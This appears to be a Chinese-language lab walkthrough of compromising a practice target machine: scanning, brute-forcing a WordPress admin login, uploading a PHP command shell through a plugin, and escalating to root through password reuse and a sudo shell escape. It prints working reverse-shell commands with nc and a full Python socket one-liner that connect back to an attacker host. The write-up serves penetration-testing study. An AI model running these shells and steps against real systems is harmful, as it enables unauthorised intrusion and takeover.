1.首先第一步依旧是寻找目标靶机ip
sudo arp-scan -l
发现目标ip为 192.168.56.11
2.进行nmap端口扫描
发现开启了80端口 运行的http服务
进行尝试访问和 端口服务扫描
访问之后发现是apache的默认页面
怀疑服务器有些路径没有默认设计,需要寻找隐藏路径
(1)使用dirsearch
dirsearch -u 192.168.56.11
发现出现了几个页面 尝试进行访问
3.对于mysql数据库,变量有三个 ,用户名,密码和数据库名称,如果进行爆破的话,可能的结果太多,时间过长,所以先去看下面两个页面,点击下面的相关链接,发现网站进行了一个重定向,将页面重定向到了192.168.159.145
因为本地环境并没有配置这个ip,并且两个页面都将跳转到这里,怀疑这个ip也是这个靶机的一个ip,只是再本地部署的时候没有设置,所以尝试再burp里面将包头和报文里面的这个ip地址进行一个替换
报头报文都要进行替换
再次访问,替换之后发现页面出现了变化
4. 对于搜索框进行sql,或者是xss,以及文件包含进行测试
发现并没有相关漏洞的显示
但是不断点击发现,存在用户admin可以对于页面进行控制
那么想起刚才的wordpress登录界面
进行登录
发现确实存在admin用户,利用burp尝试爆破
爆破出来返回报文长度不一致的是adam14
尝试登录
发现登录进来了
下一步是寻找反弹shell
在plugin里面发现可以上传文件
尝试上传文件
这个shell的功能很简单就是使用cmd参数get获取之后,使用system进行执行
打包成zip上传
上传成功后那么文件上传到了哪里呢,
发现在这里存在一个wp-content/uploads/的文件夹,尝试访问
192.168.56.11/wordpress/wp-content/uploads/?cmd=ls
发现这里运行了相关的命令
下一步进行反弹shell,有两种方法 一种是nc 一种是python执行
1.nc
首先查看系统是否具有nc命令
发现存在nc ,尝试直接链接
nc 192.168.56.6 4444 -e /bin/bash
发现并没有结果,将-e删去
发现连接上了,可以使用nc串联来继续
nc 192.168.56.6 4444| /bin/bash | nc 192.168.56.6 5555
连接上了
(2)可以使用python 脚本
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.56.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
将其带入cmd参数访问
192.168.56.11/wordpress/wp-content/uploads/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.6",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获取到shell
查看id为www-data
查看具有bash权限的用户
c
发现ls有一个wp-config.php 查看他
发现这个是数据库相关的内容,尝试登陆
登录进来了,发现了数据库中的一些操作
但是没有相关的信息
尝试切换到wpadmin用户,使用adam14 密码,因为有些会密码复用
发现变成了wpadmin权限
查找有没有具有suid权限的文件,没有发现
查看当前用户是否具有sudo 的权限
尝试运行
输入\! /bin/bash
获取了root权限